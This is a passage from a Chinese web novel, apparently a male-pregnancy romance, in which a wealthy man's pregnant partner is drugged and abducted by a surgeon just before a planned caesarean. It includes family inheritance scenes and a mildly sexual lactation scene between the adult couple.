沈妙妙却像是故意戳他痛点,直接称赞道,“鹤先生还是有两把刷子的,宝刀未老嘛!” 嗯。 鹤爵气笑,“我才三十几岁,还没到四十,不要总是把我跟五六十岁的看齐。” 沈妙妙才不管他接受不受,趴在车窗朝外看去,鹤爵认真打量女儿的背影,偶然一瞥,看见沈妙妙露出的雪白脖颈间,一条白金细链子闪闪烁烁,自然光下宛如发亮的银线。 鹤爵并不抽烟,不过这时他倒挺想抽一口的,“你今天这声爷爷叫得挺快,不知我这声爸爸什么时候能听到?” 沈妙妙知道他接下来肯定要长篇大论了,不由淡淡道,“我从小只有一个爸爸,我只叫他爸爸。” 鹤爵并不是一个遇见困难会率先放弃的人,前一句不过是随口问问,反正女儿不肯叫他爸爸,他可以继续多等几十年。 迟早的事情。 他就是想逗逗女儿,让对方开口说话,一直沉默不理人的话,接下来的事情就没法谈。 鹤爵道,“经纬的事情,你是怎么考虑的。” 果然,老狐狸怎么可能会缺心眼呢? 沈妙妙转身朝他,一双莹亮的眼珠子淬了亮粉,闪闪烁烁道,“鹤先生,你害怕我?” 鹤爵以手抵唇,洋溢着笑意,“为什么会得出这样的结论?” “你当然怕我,”沈妙妙有理有据地分析,“我年轻、聪明,也能吃苦,万一有朝一日,我顺利接手了经纬,你害怕我会彻底翻脸,一脚踢开你!” 不是开玩笑的。 沈妙妙仔细思考了一下,假如等自己大学毕业找到工作,顶多是能给爸爸和二宝最基础的生活保障。 可是假如能得到经纬,她可以做得更多,也可以将鹤爵随便捏入掌心。 没错,她确实不够信任鹤爵,这个男人太有权势,也太聪明了,他现在保证会好好地爱爸爸,爱二宝,可是他的爱那么高高在上,终归有一天飘到爸爸根本够不到的位置。 沈妙妙也了解沈望,爸爸看起来认真,踏实,坚强不屈,可他同样容易自卑、消极,陷于自我怀疑的漩涡。 沈妙妙承认这种突然膨胀的东西叫做野心,假如老天爷将机会双手奉献在面前,只有胆小鬼才会选择退缩。 她看着鹤爵的目光不够单纯,而是一种更为直白地挑衅,不服输。 “毕竟,人的命运是掌握在自己手里的,不是吗?” 鹤爵很熟悉她眼中闪烁的亮光,没错,当年鹤老爷子说要将经纬交给他的时候,鹤爵眼底所暴露的野心,恐怕比女儿的还要直白赤.裸。 鹤爵道,“我不是小气,这一点我必须要在你面前阐述清楚。” “爷爷突然叫你做继承人,我肯定是高兴的。” 我也想多跟亲生女儿制造相处机会的。 “我只是必须先问一问你的意思,是否愿意来承担一份沉重的责任,而不是为了皇冠间闪耀的宝石。” “妙妙,欲戴王冠必受其重。我今天只是想知道,你确定这件事是你自己希望做的,而不是爷爷或我,强加给你做的。” 沈妙妙一时语塞,她倒是没料想鹤爵原来是真的在替她着想,一点微小的局促感袭上心头,只能伸手攥住胸口的护身符来排解。 鹤爵将一切看穿,不禁伸手摸摸她的头,换作温柔道,“你是只有一个爸爸,他从小抚养你长大,我绝对不会否认这一点,更不会去强制夺走属于沈望的殊荣。” “我也只是想让你知道,不管我在你的心中处于什么定位,你在我的心里只有一个定位。” “你就是我鹤爵最宝贝的女儿。” “在未来,我会成为你的老师、引导者,同样也是你最坚强的后盾,懂吗?” 沈妙妙心里乱乱的,但她绝对不会承认,是鹤爵搅乱了她的决心,嘴硬道,“有了徒弟饿死师傅,我是绝对会狠狠缠住你的,把你吸收干净的。” “愿效犬马之劳,我的公主殿下。” 说完这句话,鹤爵叮嘱她不能多吹山顶的凉风,两人又轻轻松松地开车下山。 后来鹤爵把自己这段话,又跟沈望重述了一遍。 沈望道,“其实公司是你的,你平常有多么忙,我也是有目共睹的,你不希望女儿活得太辛苦,这点你不解释,我也是可以轻松理解的。” 鹤爵笑着搂住他道,“原来我的老婆变聪明了啊?我真的超级怕你和妙妙以为我是小气鬼呢。” 假的。 沈望的肚子转眼到了七个月,已经到达了恐怖的程度,必须用绷带从肚子底下兜住,不然所带来的沉坠感异常痛楚。 沈望说怀妙妙的时候,可能真的是吃不到有营养的,那个时候同样的月份,肚子只像塞了一只气球而已,现在完全像塞了两只气球。 鹤爵也挺奇怪的,不禁再安排张院长来检查,难道说怀得根本是双胞胎? 张院长来时还带了五个外国人和一名华人医生,兴冲冲向鹤爵介绍,原本想找的研究人员因为试验期的耽误,现在终于能腾出时间了。 张院长一一引见,全都是国际上有名的,专门研究男性生子的实验专家,尤其其中几位致力于去ECMO人造子宫试验,已经在这方面获得突破性的进展。 张院长着力介绍其中最年轻的华国医生,“这位是著名的外科医生柏庭修先生,他的医学论文多次刊登在《柳叶刀》上,备受业界瞩目。” 叫做柏庭修的医生拥有一双犀利且深邃的眼睛,跟鹤爵握手时,感觉右手充满平稳扎实的力量。 鹤爵定然是疑人不用,用人不疑的,不过一个外科专家来做沈望的手术,叫他还是几分不怎么信任。 柏庭修算是一个极具分析和观察力的医生,只消鹤爵的目光稍作停留,便猜出一二,言道,“在跟鹤先生见面之前,张院长已经将鹤夫人的情况详细地传给我们。” 鹤爵订正,“不是鹤夫人,是沈先生。” “对,沈先生。”柏庭修并不觉得冒犯,反倒冷着嗓音耐心解释,“他的子宫生长与常人有异,哪怕是跟传统的女性生殖器官相比,也是位于一个比较尴尬的位置,在肠道内部。” “一般女性怀孕,子宫会随着胎儿的成长膨大,由骨盆底肌肉、子宫韧带和腹肌等支撑。” “而沈先生现在却是由肠道、骨盆肌肉在支撑,所以负担极重,沉坠感也在与日俱增。” “沈先生在怀初胎的时候的身体素质,跟现在的完全属于天然之别。” 只听他寥寥几句话,已经直指问题的关键,彻底将鹤爵平静的心湖搅乱,甚至掀起巨浪。 “那”鹤爵隐隐觉得不好。 柏庭修道,“我建议尽快安排手术,最好不要再拖延下去。” “可是!”张院长插嘴道,“七个月的孩子还有点早,属于早产儿,出生后成活率相对比较低,宝宝也容易出现感染,诱发并发症。” 鹤爵问道,“那跟产夫相比,谁的风险更大?” 柏庭修道,“肯定是沈先生的风险更大一点。” 一众人瞬间陷入了沉默,尤其是鹤爵,他已经开始沉不住气,在原地来回打转了。 “没关系的,我再忍两个星期也是可以的。” 鹤爵是在客厅接待的客人,沈望原本应该躺在床上睡觉,不过他现在身体太重,睡觉也不会陷入深度睡眠,稍微闭目养神十几分钟而已。 所以,他下楼时正好听见了几人之间的对话。 沈望扶住肚子说,“之前怀妙妙的时候,我也是差不多足月才生的她,现在这个宝宝已经足七个月了,我想多让它再长一点,哪怕极限时间是两周,我也是没有问题的。” “你怎么下楼了。”鹤爵走过去搀住他,沈望全身心地依赖着,慢悠悠地从楼梯间走下来,与新来的医生专家致意。 最后面朝面地看向柏庭修,不好意思道,“我刚才偷听了两句,真是抱歉,不过我也想请问您,假如我再多挺两周,不要很多时间,只要两周就可以的。” 想了想,沈望努力维持住自己的情绪波动,声音轻轻的,还带着一丝恳请,“这个事情不用鹤爵同意,当初孩子是我自己执意要生的,所以何时将孩子剖出来,我也想自己拿主意。” 鹤爵肯定是舍不得他受罪的,但他一辈子若是没有这些孩子,恐怕只是一个可怜的、残缺的人。 现在,他只想为这个孩子再坚持一下。 只要一点点就好。 柏庭修道,“既然沈先生执意如此,那我也肯定会竭尽全力,不过这事关到两条人命,我也不能拿自己的职业生涯做为赌注。” “我希望鹤先生这两周内不要擅自打断,或者改变我制定的计划,就这一点要求,鹤先生肯定能答应吧?” 60-63 第61章 万无一失 鹤爵尤其紧张沈望的身体状况, 君子之言以一敌百,爽快地点头道, “柏先生既然是业界小有名气的外科专家,我肯定不会怀疑您的专业技术。” 只是。 “我希望不要遇见小说里那种保大保小的问题, 而且我肯定选择保大, 这个决定不会更改。” 柏庭修表情淡淡, 言道,“这是自然。” 沈望却不喜欢听见鹤爵如此擅自做决定的话, 所以晚餐过后的也没有去庭院里散步, 而是坐在卧室里织小袜子。 鹤爵敲了门, 沈望也没有出声。 鹤爵知道对方肯定是生气了, 普通的孕妇在怀孕后期会格外容易情绪波动,一来激素分泌波动严重, 一来也是因为身体负担沉重, 若是处理不当, 则会引发产前抑郁症。 所以他也没硬闯进去,而是先去了沈淼淼的婴儿房,取来了一只软绵绵的玩具狗,对着玩具狗说了点什么。 而后, 将玩具狗塞进了门缝里面, 等待严肃的审判结果。 不到三分钟, 沈望终于换了一点带微笑的表情,将门打开, 除了大肚子用绷带兜住,怀中还抱着软绵绵的玩具狗。 鹤爵长身玉立地靠着墙, 微微伸长脖颈,侧起棱角分明的脸, 朝他问道,“不生我气了?” 沈望说,“有本事你站在这里亲自给我道歉,不要借助辅助工具。” 我没本事。 鹤爵用大手掌拍了玩具狗的头部,隐藏在玩具中的录音器被激发,狗嘴里立刻夸张地喊着,“我错了,你打我,我不疼,我爱你!” 机械式的语言完全出自于鹤爵的尊口,反倒有种无厘头的逗比感。 因为这句话,你永远都听不到正主在清醒的状态下说出口,尤其是主动承认自己错了。 沈望说,“幼稚。”准备将玩具狗跟鹤爵一起赶出去。 哪知鹤爵抱住他,蹭住沈望的脖颈,双手保护着孕夫的后腰,一点一点推着人往后面退去。 鹤爵喃喃道,“你放我进来,才是最大的错误。” 玩具狗嘴里仍旧在机械地叫着,“我错了,你打我,我不疼,我爱你!” 沈望最终被推在床上坐在,鹤爵也知道分寸地放开他,避免在沈望的沉重负担前增加不必要的重量。 既然已经彻底没法把人赶走了,沈望只好道,“你居然还有时间看小说?你不是每天连电视都不会看一眼的吗?还保大保小?” 鹤爵将沈望织的小袜子拿起来,采用的是毛茸茸的蓝色棉线,针脚编织得很密,蓬松得仿佛一团小云朵,放进他的手心内居然是小小的一只,连一半的手心都占不到。 可爱极了。 鹤爵无比羡慕二宝,摩挲着小袜子说,“之前看龙傲天小说时,发现这种情节还蛮常见的,我当然是希望,这辈子绝对不要让我做这道选择题的。” 将袜子贴在沈望的肚皮间,温柔地吻了吻里面的二宝,“爸爸不是故意对你心狠手辣,所以大夫叫你出来,你要乖乖出来,千万不要折腾你爹咪啊。” 两个人都是爸爸,谨防二宝出生后先叫谁会傻傻分不清楚,所以暂定鹤爵是大爸,沈望是爹咪。 反正沈妙妙是坚决不同意沈望叫小爸的,两个人中,凭什么她爸爸是小的? 沈望看着肚皮上黑幽幽的脑袋,用手捋了一把鹤爵丰厚的发丝,言道,“咱们不开玩笑,假如真的在生产过程中,我” “鹤爵,你能不能选择淼淼?” “沈望,你能说出这种话,那你就是根本不爱我。”鹤爵的脸贴在肚皮上,此刻是做何表情,根本看不清楚,可是从他低沉的嗓音能听出来,人是真的生气了。 “望崽,我掏心窝子的跟你说一句,你可能不爱听。” “即使没有妙妙,没有二宝,你是一个完全不能生孩子的男人,我也会只选择你一个人的。” “你可能不信,觉得我现在什么都有,所以说话虚假空泛,但我从不说谎,你是最懂我的。” “要不然,我把这话讲给妙妙听,看女儿究竟支持谁?” 沈望立刻被点了死穴,抬起鹤爵的脸,与对方黑幽幽的目光对视。 “你还打算跟妙妙说?!” 鹤爵知道属于他这边的砝码太轻,可若是加上女儿的部分,1+1绝对是远远超过2的。 沈望立刻气馁道,“你不要跟妙妙讲,我的预产期提前两周的事情,好不好?女儿正在努力备考FRM(金融风险管理师),我不想让她在多余的事情上耗费精力。” 沈妙妙在今年11月份的时候顺利考过了商务英语中级,为了庆祝女儿考试拿到优异成绩,鹤爵专门包了私人飞机,带着全家去夏威夷岛欢度一周。 眼瞅着华国的元旦即将到来,鹤爵准备要给妙妙和二宝一人一份惊喜大礼呢。 他看沈望用湿漉漉的眼睛向自己请求,心底柔软的一塌糊涂,赶紧搂住沈望道,“我怎么可能在女儿最关键的时刻去打扰她呢?我只是想打消你的执着念头。” “其实我也有错,越是在关键时刻,越是不能往坏处想,我们应该畅想我们未来的生活。” 鹤爵吻了吻沈望的额头,“是我不好,不该在你敏感的时候提那种话题,我们就让这件事彻底翻篇,好吗?” 关于孩子的话题,两人已经达成某种默契,不该执着的地方切记不可固执己见,避免因孩子产生各种意义上的摩擦。 鹤爵和沈望之所以会彼此耽搁十几年才在一起,正是因为两人不够坦诚,遇到问题喜欢藏着掖着。 经过这次的教训,两人也决定以后无论什么事情,都要先说清楚,避免产生不必要的误会。 沈望第二天开始收拾行李,他现在不能再待在鹤公馆,为了更好地给二宝争取多在肚子发育的时间,他必须要提前搬去鹤三少那家私人医院去待产。 言下之意就是他需要在产床上安静地躺够两周,不能再抱着肚子四处乱晃,加重身体负担。 期间鹤老爷子、鹤家的嫂子们、叔伯们纷纷来看过他的情况。 不过鹤爵没准他们探望时间过久,只是放下礼物便离开了。 沈望跟鹤爵说,“谢谢大家给二宝买了这么多衣服,可是家里的衣服早已经成堆了,小婴儿长得特别快,一个月一种变化,衣服最后肯定只能捐掉。” 说要捐掉。 沈望一个个看了包装盒间的LOGO,全部是国际奢贵品牌,一个普通的围嘴都要上千元,确实太铺张浪费了。 还有他产后的护理品。 沈望提起来一个类似胸罩的东西,两个胸部位置用柔软的棉片垫着,但又不像是女性使用的护胸产品,棉片是平展丰厚的,用手捏住手感十分舒服。 沈望忍住羞涩,拉来鹤爵问,“三嫂买来的这个东西,是不是弄错起,实际上是她自己用的啊?” 鹤爵眯眼看了一下,十分肯定说,“这不是三嫂买的,是我专门遣人去Y国给你特殊定制,专门防溢乳的男性胸罩。” “啊?”沈望震惊无余,“我为什么要穿这种东西?!” 鹤爵旋即将他搂过来,趁其不备,大手沿着睡衣领口往里面摸,微凉的指尖引得肌肤战栗,很快便碰触到一块湿润的纱布,被沈望偷偷用运动背心固定在胸前。 “你溢奶了。” 唔! 沈望一直小心地保守这个秘密,而且为了不让某人发现,故意每天更换十几次的纱布来遮掩。 鹤爵将湿透的两块纱布掏出来,沈望现在挺着大肚子,根本无法拒绝他的强势,只能捂住发烫的双颊,避免与某人目光对接。 鹤爵说,“我只是失去了部分嗅觉,可不是眼拙。” 那天他帮沈望洗头,沈望舒服地躺在浴缸里,鹤爵则搬好凳子挽起衣袖,修长的手指不停在对方的发丝间揉搓。 洗头发是一件很享受的事情,尤其摁在正确的穴位。 沈望应该是被心爱的人洗头伺候得异常到位,微微地起了点反应。 鹤爵看清了他的胸口,有两柱乳色的液急速喷进了浴缸中,宛如两条流淌的小白蛇,在他的眼底蜿蜒半晌,最终消散殆尽。 所以这件事他就记得很牢,几乎一周时间,每天晚上临睡前,都是以这个事情为素材,来消解空虚的欲念。 鹤爵将手掌间的棉布垫了垫,湿润的分量很足,瞬间从修长的指缝间,滴滴答答地落下几滴白液。 鹤爵舔了舔微干的嘴唇,对着异常羞涩的沈望道,“好羡慕,二宝的伙食真好。” 沈望一把捂住他的嘴,脸庞的红度早已经超标了,极速蔓延到了耳根与锁骨。 没有垫棉片的睡衣前,很快晕染出两片深色的圆圈,奶香四溢,携带着他浓郁的体香,混合成全新的味道。 沈望有点委屈道,“你不要再讲了,我这边停不下来了。” 胸口的纱布已经被某人拿走了,完全没有任何遮掩地滴淌着,洇透着,还微微涨得发疼。 鹤爵在他的手掌心内,微微地舔了几圈湿痕,眼神熏起一点深不见底的颜色,将沈望的倒影拼命往里吸吮,“有这种情况不该瞒着,知道吗?” 他在沈望的掌心嗡嗡地说着,“老公可以帮你解决。” 鹤爵替沈望穿好新买的男士胸罩,又给对方喝了点水。 沈望平躺在病床上,气喘吁吁地用手背扫了一下发丝。 胸口好像不怎么疼了。 这一点,他还是挺感谢鹤爵的。 但他就是没什么脸看那人,用手背放置在额头,来遮掩眼底的躲闪。 鹤爵摸了摸他的面颊,亲昵地吻了一口老婆发烫的面颊,吐出来的气息冥冥中带着奶甜味,言道,“我先回家去拿点文件,你乖乖睡一会儿,我一个小时就回来。” 沈望逃避似的屏住呼吸。嗯。 鹤爵其实并不是真的回去拿文件的,是他派赵管家请来的重要客人,今天抵达京城。 鹤爵坐车去接对方的机,以至于徐美珊在看见他亲自显身于飞机场,而感到无比震惊。 鹤爵眼神示意,身边的保镖已经将徐美珊的随身行李提好,为两人留下独自谈话的空间。 鹤爵朝徐医生道,“抱歉,我知道公立医院是不准许随便请假的,而且您是妇产科的专家,工作要更忙碌才对。” “但是沈望的剖腹产突然提前了,我思来想去总是睡得不安稳,觉得必须请您亲自来参与接生,还望徐医生不要介意。” 沈望后来再去产检,都是由沈妙妙陪伴的,所以她与鹤爵的见面,最正式的也就是那一次而已。 徐美珊一瞧他现在西装革履,光可鉴人,身后随着不少人,立刻认定自己当初猜测的不错,这个男人在京城的身份应该不低。 像如此有权有势的男人,居然会求到自己头上,肯定是沈望的情况不怎么好。 必须要确保万无一失才行。 徐美珊道,“沈望第一次生产就是我来做的,我对他怀孕后的身体情况应该是最了解的,你请我来,算是明智之举,所以一点也不麻烦。” 鹤爵道,“不过,这里面还有一点小的问题,我们边走边详谈吧。” “什么问题?” 徐美珊直接开门见山,“是不是沈望的身体?” 不是的。 鹤爵与徐美珊一并坐上劳斯莱斯,双手握合着至于膝盖间,呈现出一种难得的忧虑与焦灼。 虽然他说了保大保小问题里,肯定是义无反顾地保大。 但是沈望事后肯定会怨恨他,沈望太重视孩子了,甚至超过他自己的生命。 鹤爵毫无避讳,先给徐美珊介绍了柏庭修的方案,但是他必须要万无一失才行。 所以。 “我准备同时安排两场手术,先交由柏庭修来处理,他是外科方面的专家,应该不会有什么差池,而且我跟他已经达成共识,不能质疑他的治疗方案,更不能随意更换他的决定。” “可是不行,我实在无法忍受只能有一种选择的路径,您知道的,徐医生,我们做风投的人天生谨慎,永远不能将鸡蛋放在一个篮子里。” 所以。 “徐医生需要委屈您一下,您需要做的,就是请您跟我一起耐心等待,万一柏医生那边有什么不好,无论是大人,或者孩子,两方面我都希望有信任的人能在场。” 提到这样的话题无异于沉重至极。 但是鹤爵朝徐美珊露出了不曾有过的脆弱一面,“我不能失去沈望,也不能失去孩子,但是我不能失去沈望。” 第62章 老婆不见了啊!! 徐美珊之前对他的印象不好, 说话不是很好听,但足够中肯,现在看鹤爵是真心悔过,也确实重视沈望, 礼貌笑道, “鹤先生不必与我客气, 你就把我当作沈望的娘家人来对待,也是没有问题的。”. 沈望睁眼第一个看见的并非是鹤爵, 只有他自己独自躺在病床间, 肚子压得实在又大又沉, 害得他差点没有翻过身。 沈望只好用大手抚摸着肚子里的二宝, 轻声对它说,“爹咪想起来喝口水, 你跟爹咪一起用个力。” 加油! 沈望抱住沉甸甸的肚子, 撑住劲儿翻身起来, 不过动作十分谨慎,最近这几天总躺平休息,对腰椎的负担也很重。 沈望正要落下地面,用马克杯去接水, 病房的门打开了, 从外面走进来柏庭修。 柏庭修自身的气质十分清冷, 尤其穿一身白袍后,显得越发冷漠, 若不是他会正常地呼吸,正常地与人交流, 否则完全像是一台精密的人工机器,天生没有输入任何人类的感情代码。 所以说医生也算是合法的屠夫。 柏庭修说, “你想喝水的话,摁动病床旁的按钮就行了,会有人进来给你倒的,沈先生。” 言下之意是叫他不要乱动,尽量以平躺为主。 沈望最听医生的话了,尤其是自己之前傻乎乎跑去黑诊所生孩子,差点将小命丢掉,又被徐美珊抢救回来,自此之后,他对神圣的医生充满钦佩之情。 沈望不好意思地笑笑,“不怕柏医生您笑话,我感觉自己躺得快喘不上气来了,所以想稍微动一动。” 柏庭修接下来做了一件令他惊掉下巴的事情。 亲自帮他接了一杯温水,递给沈望,道,“只要再忍耐最后三天,你和孩子就都会解脱了。” 沈望抿了一口水,将手中的马克杯又转了几圈。 柏庭修道,“沈先生看起来很不安,是有什么心事?” 医生的眼睛天生尖锐,仿佛手术刀一般可以剖开所有凡尘的皮肉,直达病灶。 沈望变作小小声道,“我能不能再往后延迟两周” “不能,”柏庭修搬了一把软椅,冷淡地坐在沈望面前,“你刚才自己还说,肚子压得连气都喘不上。” “你的脊椎、内脏、盆腔,现在全部都被胎儿压迫着,假如你想活不到六十岁的话,可以继续忍一忍。” 啊! 沈望被这话吓得面色一改,“这么夸张吗?假如不剖出二宝的话?” “我只是举个例子,”柏庭修一点也不在意医生的措辞,极容易对病患造成身心阴影,“世界上不存在完美的手术,我只是在给沈先生和孩子保留最大概率的情况下,提出最优方案。” 沈望已经不想听他讲了,止手道,“柏先生是第一次接生产手术吧?”这一点,从他的言谈举止各个方面透漏无疑。 “沈先生确实是由我亲自操刀的产夫,而且,还是男性。” 沈望真想说,你跟你的所有病人都是这么单刀直入式对白吗? 柏庭修却忽然噤声,冥冥中像是在沉思着某件事,半晌道,“沈先生似乎是很神奇的人。” 沈望:“?” “不但可以怀孕生子,而且还能散发出很奇妙的香味,假如我没有猜错的话,沈先生的香味更多得来自于你的汗腺,而尿液是属于另外一种体内循环,所以只有浑身出汗时,会加重体味的芬芳。” “这真的很值得研究。” 沈望还是第一次跟除了鹤爵之外的男人,提自己有体香的有关问题。 他问,“柏医生觉得,我身上的这个毛病,能根治吗?” 柏庭修道,“怎么?难道这种特异的能力,会让沈先生感到困惑?” 困惑吧?肯定是有点的。 “我从小去不了游泳馆,也穿不了半袖短裤,更不能随随便便到人群密集的地方。” 这浑身的香味,实在是令人爱恨交加,既有好处,也有坏处。 “唯一的好处是,夏天特别驱赶蚊虫叮咬。” 柏庭修轻轻一笑,像是机器人突然被激发了某道指令,更是蜻蜓点过水面。 “沈先生是不是担心,爵爷对你的深切爱意,有一部分来自于身体的魅力?” “那绝对不是,”沈望回复得很干脆,“鹤爵他没有嗅觉,他根本闻不见我是什么味道的。” 触及私人问题的部分还是少谈为妙,沈望立刻换了话题道,“怎么连柏医生也叫他爵爷了?” 刚见面的时候,不是还叫鹤先生吗? 柏庭修道,“入乡随俗。” 正闲聊两句,鹤爵推门进来,看见沈望捧着肚子坐在床沿,与新认识的医生聊天,俩人似乎挺开心的。 鹤爵蹙了下眉道,“是哪里不舒服吗?”又对柏庭修道,“病人的一切事宜全部交给我处理,沈望现在只需要静养即可。” 驱赶的意思简直不言而喻。 柏庭修起身道,“作为主治医生,我只是了解一下病患的心情,看来沈先生心理准备的不错,方案差不多可以提上日程了。” 鹤爵稍微让开一道缝隙,由着柏庭修从身侧穿过,冥冥中两人的余光短距离交接片刻,旋即又分开。 鹤爵进去后,第一时间将屋门关闭。 医院长廊的光线明显暗了一度,发出清淡又惨白的光芒。 柏庭修淡淡说一句,“原来他失去了嗅觉啊。”那岂不是更好吗?嘴角微微一勾,快速离开了原地。 三天后。 沈望的手术必须如期进行,他这两天基本没有进食,只是靠营养液维持最基本的身体运作。 早晨护士来帮他备了皮,又说要去掉身上的饰品。 鹤爵道,“这个手镯属于终身款,恐怕取不下来,这个不用担心,我跟柏医生打好招呼就行。” 小护士走了。 鹤爵过来拉住沈望的手,跟他宽慰道,“不用担心,只是一个多小时,我们一家四口就可以见面。” 沈望露出笑说,“我不担心,反正麻药打了之后,我就什么也不知道了,该说担心的人应该是你吧?你的手冰冰凉凉的。” 鹤爵低了头,猛地抬起头时,连眼眶都泛红了,原本他并非一个多情的男人,只是因为爱上了沈望,才变得像一个真正的男人一般脆弱敏感。 “你生妙妙的时候,吃了很多苦,现在为了生淼淼,还是你在吃苦,望崽,我真该死。” 沈望已经不准他再说下去了,淡道,“我现在可是要去鬼门关转一大圈了,你可不要在我和二宝最关键的时刻说这种丧气话,咱们家缺了谁,都不能缺了你,嗯?” 护士推来理疗床,准备将沈望搬运到上面,鹤爵的激动情绪一旦开了头,俨然有点收拾不住的苗头,双手开始不停地打颤,直到将沉甸甸的两条生命,全部搬运到理疗床上。 “我和妙妙在手术室门口等你们俩。” 从病房到手术室的路程只有短短几百米,今天情况特殊,俨然变作了几千米,几万米似的。 鹤爵的手变得越来越凉,每一根手指都在不停地颤抖,仿佛不停地从沈望的手间汲取热量。 沈望只是对他温柔的笑着,深切地望着,却不再多说一个字。 若说胆小鬼的话,他以前一直比谁都要胆小呢,可是今天这样一比较,却发现原来鼎鼎有名的鹤爵才是真的胆小。 手术室前人人平等。 这个世界上,也终于有鹤爵根本迈步进去的地方。 沈望朝他的方向做了一个口型,“要等我们哦~”那一只被鹤爵攥得发凉的手指微微一翘,露出一小截的小手指,仿佛在等待一个约定。 一个关于终身的约定。 鹤爵彻底绷不住了,像他这样的地位、这般的经历,这等的岁数,很难从一生中找出一个怕字。 但他现在真得很怕,怕极了,手术室指示灯的颜色从绿色转变为了红色,分明是火上烹油,将鹤爵整个人往火架子上悬挂。 鹤爵不停地在原地徘徊,分明沈望才刚被推进去,可他整个人已经变得焦灼不安,每一分钟都衍变作恐怖地炙烤。 他要疯了!他要疯了!他要疯了! 赵管家实在看不过眼,一把摁住鹤爵来回旋转的身躯,言道,“不如我现在把妙妙小姐接来,这样你们父女俩互相打气,也能好受点。” 他跟沈望商量了好几次,针对提前剖腹产这件事,究竟要不要告诉告诉妙妙。 沈望是觉得不要让女儿担心,等从手术室里出来是一样的。 鹤爵则持相反意见,不过老婆总归是天,他也无力胜天。 鹤爵踟蹰半晌,觉得沈妙妙在场更好,正准备让赵管家去接小姐。 哪知沈妙妙的电话直接打到了沈望的手机上,鹤爵手里捏着对方的手机,没有接听。 不到半分钟,电话直接又打到了鹤爵的手机上。 鹤爵与赵管家对接眼色,转换了心情,才选择接听道,“怎么了?” 沈妙妙显得十分焦急,完全忘记自己跟鹤某人不合的事情,言道,“爸爸今天身体怎么样?有没有不舒服的地方?” “额,没有。” “真的吗?”沈妙妙的慌张已经从听筒中,断断续续地传达着,“我今天早晨接连摔碎了两个杯子,而且右眼皮一直在跳个没完没了的!” 鹤爵被她一讲,心底的不安感愈发夸大了,毕竟老人常说,母女连心,沈妙妙是沈望生的,彼此间肯定是有着心电感应的。 鹤爵强装镇定道,“小丫头还挺迷信啊,我跟你保证,爸爸他正在睡觉呢,安安稳稳的,你也不要胡思乱想,先” 鹤爵正准备安顿她把今天早晨的重要课程学完。 手术室一直亮着的红灯,忽然转成绿色。 分明才过去十分钟而已。 这简直太诡异了。 鹤爵连跟女儿讲话的功夫也没有,一把摁掉电话,大步流星地往前冲去,手术室的门恰好打开,护士推着空荡荡的理疗床出来,轱辘碾压着大理石地板,发出滋滋的声音。 “人呢?”鹤爵冷不丁对着小护士发难,“之前推进去的人呢?!” 小护士被他吓了一跳,连声说,“什么人?” “我的妻子!!”鹤爵抓住理疗床的边沿,完全失去了往日的风度翩翩,“我的妻子沈望,刚才被推进了手术室里做剖腹产手术!” 小护士简直要被吓哭了,她只是把里面不用的器械推出来而已啊。 赵管家过来帮忙,鹤爵一把推开他,笔直地往手术室里冲,走过空无一人的清洁区,凶神恶煞地冲进了手术区。 发现手术室里的人倒了一片,包括张院长、以及其他几名国外医生,全部倒在地面不省人事。 “这是什么情况!!”鹤爵的鼻子根本闻不见任何味道,倒是跟着冲进来的赵管家率先捂住鼻子,冲他喊道,“少爷,这里面味道不对,你先出来再说!” 随后医院里彻底变得热闹极了,鹤爵基本上是冲进了每一个病房,使劲翻找沈望的踪迹,他身后跟着不少的私人保镖,不停地询问究竟有没有看见一个叫柏庭修的? 张院长二十分钟后从昏迷状态中苏醒,鹤爵又立刻冲回来质问他。 鹤爵已经处于神经紧绷的的边缘化状态,一把扯住张院长的衣领,大声威胁道,“那个柏庭修究竟是什么来头!你确定他是业界有名的医生吗!” “沈望不见了!沈望tmd的不知道被这个王八蛋弄到哪里去了!!!” 最要命的事,真的发生了,居然还是在他的眼皮子低下! 徐美珊一直被偷偷地安排在隔壁手术室,听到动静赶紧出来帮忙,她先扯住鹤爵的双手,道,“这位老先生岁数大了,鹤先生,你不要太激动了!” 而后又替张院长等人看了一下情况,“是迷药的反应,这些人在进入手术室后,呼吸入了一定程度的迷药才导致的昏厥。” “那沈望呢!”鹤爵完全顾不到自己的个人形象,抓到头顶的发丝已经凌乱无比,“他若是呼吸了这种迷药,会有什么反应?!” 而且,沈望不知道被柏庭修弄去哪里了,他真的快要疯掉了! 鹤爵打开手机,自从沈望上次威胁过他之后,他的追踪定位系统已经很久没有更新了。 老天爷一定是在惩罚我!! 鹤爵正想砸掉手机的瞬间,手机忽然响起了陌生来电。 鹤爵接听道,“是你吗?柏庭修!!!” 柏庭修的声音十分冷静,与他的形成鲜明对比,言道,“是我。” 鹤爵准备要质问沈望的去处。 柏庭修突然道,“鹤爵,你的老婆好好的睡着呢,我不会把他怎么样的,所以没有必要报警,很快就能处理好的。” 你tm的混蛋!! 鹤爵低声吼着,“我要见到沈望!” 柏庭修说,“你想看见沈望,很容易,我不会提出什么特别难的要求,你只要帮我做一件小事情就行。” “医院的备用治疗室。” 备用治疗室!!! 鹤爵冲晕头晃脑的张院长道,“备用治疗室在哪里!快告诉我!!” 他现在气昏了,看见谁都极其不顺眼,恨不能杀掉泄愤。 此时此刻,私人保镖队长也过来告诉他一件很不妙的消息——这家医院的监控系统全部停用,也就是说,根本看不出来沈望从哪个门被偷运走的。 鹤爵顾不得监控的事情,捂住听筒,对保镖队长说了一句,“手镯。” 沈望的手镯安装十分精密的定位系统,可以很快地找到对方,不过需要再去鹤公馆将系统更新一下。 保镖队长瞬间明白,转身去办。 但是,那手镯的事情不能轻易被柏庭修知道,万一对方发现,沈望的手就难保了。 鹤爵可以拖延时间,帮沈望争取机会。 赵管家则跟着鹤爵,在医院医生的带领下,先去备用医疗室稳住对方。 备用医疗室处于医院的负楼层,常年不见光的地方,阴森森地骇人。 鹤爵走在刺骨般的森冷环境中,焦躁反倒沉浸下来,只听间皮鞋狠狠踩踏地面的声音在回想盘旋。 柏庭修道,“你老婆醒了,要不要说两句?” 鹤爵连忙喊着,“沈望!!沈望!!你有没有哪里不舒服?!” 沈望吸入的迷药量不多,只是醒来时头特别疼,伴随着强烈的呕吐感。 他微微一睁眼,发现自己根本没有躺在手术台间,而是躺在一块破草席上,四周的土坯房子歪歪斜斜,破洞蔓延,地面若是稍微晃动一下,大抵上是要坍塌了。 在他的旁边蹲着熟悉的柏庭修,不过他今天没穿白袍,而是一身轻便装扮。 “这是哪里?” 柏庭修抽回手机,对里面的鹤爵道,“已经听得很清楚了吧?” “现在,请打开你面前正对的那扇门。” “你的老朋友,正在里面等着的到来呢!” 